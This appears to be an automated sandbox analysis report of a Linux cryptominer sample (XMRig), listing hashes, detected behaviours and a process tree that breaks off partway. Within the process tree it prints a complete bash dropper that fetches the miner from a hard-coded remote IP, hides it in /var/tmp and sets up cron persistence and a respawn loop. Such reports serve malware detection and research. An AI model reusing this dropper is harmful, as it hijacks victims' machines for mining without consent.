Analysis
-
max time kernel
149s -
max time network
146s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
04-11-2024 02:14
Static task
static1
Behavioral task
behavioral1
Sample
32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf
Resource
ubuntu2204-amd64-20240611-en
General
-
Target
32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf
-
Size
918KB
-
MD5
ef5bd456e596c4547ca089289bcae86c
-
SHA1
f7a7e411275cc4866a31ed4935c7e04d5f9d832e
-
SHA256
32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d
-
SHA512
7098d12e4ef5a81af3d2dbcab7acf052042ad3a8b9cdbcf4de388fd241e90809a3daf3cfc37e03f0a3e3b5c2a927636df5fcaeb5df77bf950975de7a6e0cdd05
-
SSDEEP
12288:q6Rw0BLiR6YngDkV5tkui3hp4Gyo5jBONt+zDyyUbRkoXd:q6Rw0OLngDkbtkuiRp43EjBoFk6
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule /var/tmp/.rcu_gp/.report_system family_xmrig /var/tmp/.rcu_gp/.report_system xmrig -
Xmrig family
-
Xmrig_linux family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
bashchmodchmodpid process 1540 bash 1575 chmod 1577 chmod -
Executes dropped EXE 56 IoCs
Processes:
diicot.report_systemdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotdiicotioc pid process /var/tmp/.rcu_gp/diicot 1588 diicot /var/tmp/.rcu_gp/.report_system 1590 .report_system /var/tmp/.rcu_gp/diicot 1602 diicot /var/tmp/.rcu_gp/diicot 1608 diicot /var/tmp/.rcu_gp/diicot 1614 diicot /var/tmp/.rcu_gp/diicot 1620 diicot /var/tmp/.rcu_gp/diicot 1626 diicot /var/tmp/.rcu_gp/diicot 1632 diicot /var/tmp/.rcu_gp/diicot 1638 diicot /var/tmp/.rcu_gp/diicot 1646 diicot /var/tmp/.rcu_gp/diicot 1652 diicot /var/tmp/.rcu_gp/diicot 1658 diicot /var/tmp/.rcu_gp/diicot 1664 diicot /var/tmp/.rcu_gp/diicot 1670 diicot /var/tmp/.rcu_gp/diicot 1676 diicot /var/tmp/.rcu_gp/diicot 1682 diicot /var/tmp/.rcu_gp/diicot 1688 diicot /var/tmp/.rcu_gp/diicot 1694 diicot /var/tmp/.rcu_gp/diicot 1700 diicot /var/tmp/.rcu_gp/diicot 1706 diicot /var/tmp/.rcu_gp/diicot 1712 diicot /var/tmp/.rcu_gp/diicot 1718 diicot /var/tmp/.rcu_gp/diicot 1724 diicot /var/tmp/.rcu_gp/diicot 1730 diicot /var/tmp/.rcu_gp/diicot 1736 diicot /var/tmp/.rcu_gp/diicot 1742 diicot /var/tmp/.rcu_gp/diicot 1748 diicot /var/tmp/.rcu_gp/diicot 1754 diicot /var/tmp/.rcu_gp/diicot 1760 diicot /var/tmp/.rcu_gp/diicot 1766 diicot /var/tmp/.rcu_gp/diicot 1772 diicot /var/tmp/.rcu_gp/diicot 1778 diicot /var/tmp/.rcu_gp/diicot 1784 diicot /var/tmp/.rcu_gp/diicot 1790 diicot /var/tmp/.rcu_gp/diicot 1796 diicot /var/tmp/.rcu_gp/diicot 1802 diicot /var/tmp/.rcu_gp/diicot 1808 diicot /var/tmp/.rcu_gp/diicot 1814 diicot /var/tmp/.rcu_gp/diicot 1820 diicot /var/tmp/.rcu_gp/diicot 1826 diicot /var/tmp/.rcu_gp/diicot 1832 diicot /var/tmp/.rcu_gp/diicot 1838 diicot /var/tmp/.rcu_gp/diicot 1844 diicot /var/tmp/.rcu_gp/diicot 1850 diicot /var/tmp/.rcu_gp/diicot 1859 diicot /var/tmp/.rcu_gp/diicot 1865 diicot /var/tmp/.rcu_gp/diicot 1871 diicot /var/tmp/.rcu_gp/diicot 1877 diicot /var/tmp/.rcu_gp/diicot 1883 diicot /var/tmp/.rcu_gp/diicot 1889 diicot /var/tmp/.rcu_gp/diicot 1895 diicot /var/tmp/.rcu_gp/diicot 1901 diicot /var/tmp/.rcu_gp/diicot 1907 diicot /var/tmp/.rcu_gp/diicot 1913 diicot /var/tmp/.rcu_gp/diicot 1919 diicot /var/tmp/.rcu_gp/diicot 1925 diicot -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
Processes:
.report_systemdescription ioc process File opened for reading /sys/devices/virtual/dmi/id/product_name .report_system File opened for reading /sys/devices/virtual/dmi/id/board_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/sys_vendor .report_system -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.FXcyrC crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
Processes:
.report_systemdescription ioc process File opened for reading /sys/devices/virtual/dmi/id/board_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_type .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag .report_system File opened for reading /sys/devices/virtual/dmi/id/board_name .report_system File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/board_version .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_version .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_version .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_date .report_system File opened for reading /sys/devices/virtual/dmi/id/product_version .report_system File opened for reading /sys/devices/virtual/dmi/id/product_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/product_uuid .report_system -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
.report_systemdescription ioc process File opened for reading /proc/cpuinfo .report_system -
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
.report_systempgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgrepdescription ioc process File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus .report_system File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online .report_system File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus .report_system File opened for reading /sys/devices/system/cpu/cpu0/topology/package_cpus .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity .report_system File opened for reading /sys/devices/system/cpu/possible .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level .report_system -
Enumerates kernel/hardware configuration 1 TTPs 24 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
.report_systemdescription ioc process File opened for reading /sys/fs/cgroup/cpuset.cpus.effective .report_system File opened for reading /sys/fs/cgroup/cpuset.mems.effective .report_system File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node/online .report_system File opened for reading /sys/devices/system/node/node0/meminfo .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency .report_system File opened for reading /sys/kernel/mm/hugepages .report_system File opened for reading /sys/devices/system/node/node0/cpumap .report_system File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth .report_system File opened for reading /sys/firmware/dmi/tables/DMI .report_system File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages .report_system File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages .report_system File opened for reading /sys/bus/dax/devices .report_system File opened for reading /sys/devices/system/node/node0/access1/initiators .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators .report_system File opened for reading /sys/devices/virtual/dmi/id .report_system File opened for reading /sys/fs/cgroup/cgroup.controllers .report_system File opened for reading /sys/devices/system/cpu .report_system File opened for reading /sys/devices/system/node/node0/hugepages .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency .report_system File opened for reading /sys/firmware/dmi/tables/smbios_entry_point .report_system -
Processes:
pgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgreppgrepdescription ioc process File opened for reading /proc/1238/cmdline pgrep File opened for reading /proc/1594/status pgrep File opened for reading /proc/16/status pgrep File opened for reading /proc/990/status pgrep File opened for reading /proc/1179/cmdline pgrep File opened for reading /proc/1375/cmdline pgrep File opened for reading /proc/217/status pgrep File opened for reading /proc/871/cmdline pgrep File opened for reading /proc/1084/status pgrep File opened for reading /proc/871/cmdline pgrep File opened for reading /proc/531/status pgrep File opened for reading /proc/411/cmdline pgrep File opened for reading /proc/1447/cmdline pgrep File opened for reading /proc/95/status pgrep File opened for reading /proc/733/cmdline pgrep File opened for reading /proc/10/status pgrep File opened for reading /proc/76/cmdline pgrep File opened for reading /proc/1084/cmdline pgrep File opened for reading /proc/609/status pgrep File opened for reading /proc/76/status pgrep File opened for reading /proc/1054/cmdline pgrep File opened for reading /proc/19/cmdline pgrep File opened for reading /proc/76/cmdline pgrep File opened for reading /proc/196/status pgrep File opened for reading /proc/77/cmdline pgrep File opened for reading /proc/79/status pgrep File opened for reading /proc/748/cmdline pgrep File opened for reading /proc/1/cmdline pgrep File opened for reading /proc/1065/cmdline pgrep File opened for reading /proc/1434/cmdline pgrep File opened for reading /proc/733/status pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/531/cmdline pgrep File opened for reading /proc/219/cmdline pgrep File opened for reading /proc/1378/cmdline pgrep File opened for reading /proc/426/cmdline pgrep File opened for reading /proc/78/status pgrep File opened for reading /proc/13/cmdline pgrep File opened for reading /proc/23/status pgrep File opened for reading /proc/635/cmdline pgrep File opened for reading /proc/201/cmdline pgrep File opened for reading /proc/1140/cmdline pgrep File opened for reading /proc/636/status pgrep File opened for reading /proc/1192/status pgrep File opened for reading /proc/74/cmdline pgrep File opened for reading /proc/1158/cmdline pgrep File opened for reading /proc/1230/cmdline pgrep File opened for reading /proc/89/status pgrep File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/8/status pgrep File opened for reading /proc/1301/cmdline pgrep File opened for reading /proc/1236/cmdline pgrep File opened for reading /proc/2/cmdline pgrep File opened for reading /proc/113/cmdline pgrep File opened for reading /proc/207/status pgrep File opened for reading /proc/1119/status pgrep File opened for reading /proc/4/cmdline pgrep File opened for reading /proc/746/status pgrep File opened for reading /proc/1087/cmdline pgrep File opened for reading /proc/95/status pgrep File opened for reading /proc/78/cmdline pgrep File opened for reading /proc/1356/status pgrep File opened for reading /proc/867/status pgrep File opened for reading /proc/593/status pgrep
Processes
-
/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf1⤵PID:1540
-
/bin/bash/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf -c "exec '/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf' \"\$@\"" /tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf1⤵PID:1540
-
/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf1⤵PID:1540
-
/bin/bash/tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf -c " #!/bin/bash RCU_GP_DIR=\"/var/tmp/.rcu_gp\" REPORT_SYSTEM_URL=\"http://66.63.187.200/.puscarie/.report_system\" DIICOT_FILE=\"diicot\" setup_report_system() { if [ ! -d \"\$RCU_GP_DIR\" ]; then mkdir \"\$RCU_GP_DIR\" fi cd \"\$RCU_GP_DIR\" || exit if command -v wget &> /dev/null; then wget \"\$REPORT_SYSTEM_URL\" -O .report_system elif command -v curl &> /dev/null; then curl -o .report_system \"\$REPORT_SYSTEM_URL\" else echo \"Nu s-a gasit nici wget, nici curl\" exit 1 fi chmod +x .report_system cd - || exit } create_diicot_file() { DIICOT_PATH=\"\$RCU_GP_DIR/\$DIICOT_FILE\" cat <<EOL > \"\$DIICOT_PATH\" #!/bin/bash if ! pgrep -x .report_system >/dev/null; then /var/tmp/.rcu_gp/./.report_system> /dev/null 2>&1 & disown \$* else : fi EOL chmod +x \"\$DIICOT_PATH\" } setup_cron_jobs() { locatie=\"\$RCU_GP_DIR\" locatie2=\"\$PWD\" if [ ! -f \"\$locatie/.ps4\" ]; then echo \"\$locatie\" > \"\$locatie/.ps4\" fi if ! crontab -l | grep -q '.main'; then rm -rf \"\$locatie/.ps5\" echo \"@daily \$locatie/\$DIICOT_FILE\" >> \"\$locatie/.ps5\" sleep 1 echo \"@reboot \$locatie2/.main > /dev/null 2>&1 & disown\" >> \"\$locatie/.ps5\" sleep 1 echo \"@monthly \$locatie2/.main > /dev/null 2>&1 & disown\" >> \"\$locatie/.ps5\" sleep 1 crontab \"\$locatie/.ps5\" sleep 1 rm -rf \"\$locatie/.ps5\" fi } setup_report_system create_diicot_file setup_cron_jobs while : do \$(cat /var/tmp/.rcu_gp/.ps4)/diicot setup_cron_jobs sleep 2.5 done echo \"Merge bn mineru serifule\" " /tmp/32ef08fa6f3819b255ddd3d4d77c63c17058e77550c217ae1714d0679f62802d.elf1⤵
- File and Directory Permissions Modification
PID:1540 -
/usr/bin/mkdirmkdir /var/tmp/.rcu_gp2⤵PID:1545
-
-
/usr/bin/wgetwget http://66.63.187.200/.puscarie/.report_system -O .report_system2⤵PID:1552
-
-
/usr/bin/chmodchmod +x .report_system2⤵
- File and Directory Permissions Modification
PID:1575
-
-
/usr/bin/catcat2⤵PID:1576
-
-
/usr/bin/chmodchmod +x /var/tmp/.rcu_gp/diicot2⤵
- File and Directory Permissions Modification
PID:1577
-
-
/usr/bin/grepgrep -q .main2⤵PID:1579
-
-
/usr/bin/crontabcrontab -l2⤵PID:1578
-
-
/usr/bin/rmrm -rf /var/tmp/.rcu_gp/.ps52⤵PID:1580
-
-
/usr/bin/sleepsleep 12⤵PID:1581
-
-
/usr/bin/sleepsleep 12⤵PID:1582
-
-
/usr/bin/sleepsleep 12⤵PID:1583
-
-
/usr/bin/crontabcrontab /var/tmp/.rcu_gp/.ps52⤵
- Creates/modifies Cron job
PID:1584
-
-
/usr/bin/sleepsleep 12⤵PID:1585
-
-
/usr/bin/rmrm -rf /var/tmp/.rcu_gp/.ps52⤵PID:1586
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1587
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1588 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1589
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1592
-
-
/usr/bin/crontabcrontab -l2⤵PID:1591
-
-
/usr/bin/sleepsleep 2.52⤵PID:1593
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1601
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1602 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1603
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1605
-
-
/usr/bin/crontabcrontab -l2⤵PID:1604
-
-
/usr/bin/sleepsleep 2.52⤵PID:1606
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1607
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1608 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1609
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1611
-
-
/usr/bin/crontabcrontab -l2⤵PID:1610
-
-
/usr/bin/sleepsleep 2.52⤵PID:1612
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1613
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1614 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1615
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1617
-
-
/usr/bin/crontabcrontab -l2⤵PID:1616
-
-
/usr/bin/sleepsleep 2.52⤵PID:1618
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1619
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1620 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1621
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1623
-
-
/usr/bin/crontabcrontab -l2⤵PID:1622
-
-
/usr/bin/sleepsleep 2.52⤵PID:1624
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1625
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1626 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1627
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1629
-
-
/usr/bin/crontabcrontab -l2⤵PID:1628
-
-
/usr/bin/sleepsleep 2.52⤵PID:1630
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1631
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1632 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1633
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1635
-
-
/usr/bin/crontabcrontab -l2⤵PID:1634
-
-
/usr/bin/sleepsleep 2.52⤵PID:1636
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1637
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1638 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1639
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1641
-
-
/usr/bin/crontabcrontab -l2⤵PID:1640
-
-
/usr/bin/sleepsleep 2.52⤵PID:1642
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1645
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1646 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1647
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1649
-
-
/usr/bin/crontabcrontab -l2⤵PID:1648
-
-
/usr/bin/sleepsleep 2.52⤵PID:1650
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1651
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1652 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1653
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1655
-
-
/usr/bin/crontabcrontab -l2⤵PID:1654
-
-
/usr/bin/sleepsleep 2.52⤵PID:1656
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1657
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1658 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1659
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1661
-
-
/usr/bin/crontabcrontab -l2⤵PID:1660
-
-
/usr/bin/sleepsleep 2.52⤵PID:1662
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1663
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1664 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1665
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1667
-
-
/usr/bin/crontabcrontab -l2⤵PID:1666
-
-
/usr/bin/sleepsleep 2.52⤵PID:1668
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1669
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1670 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1671
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1673
-
-
/usr/bin/crontabcrontab -l2⤵PID:1672
-
-
/usr/bin/sleepsleep 2.52⤵PID:1674
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1675
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1676 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1677
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1679
-
-
/usr/bin/crontabcrontab -l2⤵PID:1678
-
-
/usr/bin/sleepsleep 2.52⤵PID:1680
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1681
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1682 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1683
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1685
-
-
/usr/bin/crontabcrontab -l2⤵PID:1684
-
-
/usr/bin/sleepsleep 2.52⤵PID:1686
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1687
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1688 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1689
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1691
-
-
/usr/bin/crontabcrontab -l2⤵PID:1690
-
-
/usr/bin/sleepsleep 2.52⤵PID:1692
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1693
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1694 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1695
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1697
-
-
/usr/bin/crontabcrontab -l2⤵PID:1696
-
-
/usr/bin/sleepsleep 2.52⤵PID:1698
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1699
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1700 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1701
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1703
-
-
/usr/bin/crontabcrontab -l2⤵PID:1702
-
-
/usr/bin/sleepsleep 2.52⤵PID:1704
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1705
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1706 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1707
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1709
-
-
/usr/bin/crontabcrontab -l2⤵PID:1708
-
-
/usr/bin/sleepsleep 2.52⤵PID:1710
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1711
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1712 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1713
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1715
-
-
/usr/bin/crontabcrontab -l2⤵PID:1714
-
-
/usr/bin/sleepsleep 2.52⤵PID:1716
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1717
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1718 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1719
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1721
-
-
/usr/bin/crontabcrontab -l2⤵PID:1720
-
-
/usr/bin/sleepsleep 2.52⤵PID:1722
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1723
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1724 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1725
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1727
-
-
/usr/bin/crontabcrontab -l2⤵PID:1726
-
-
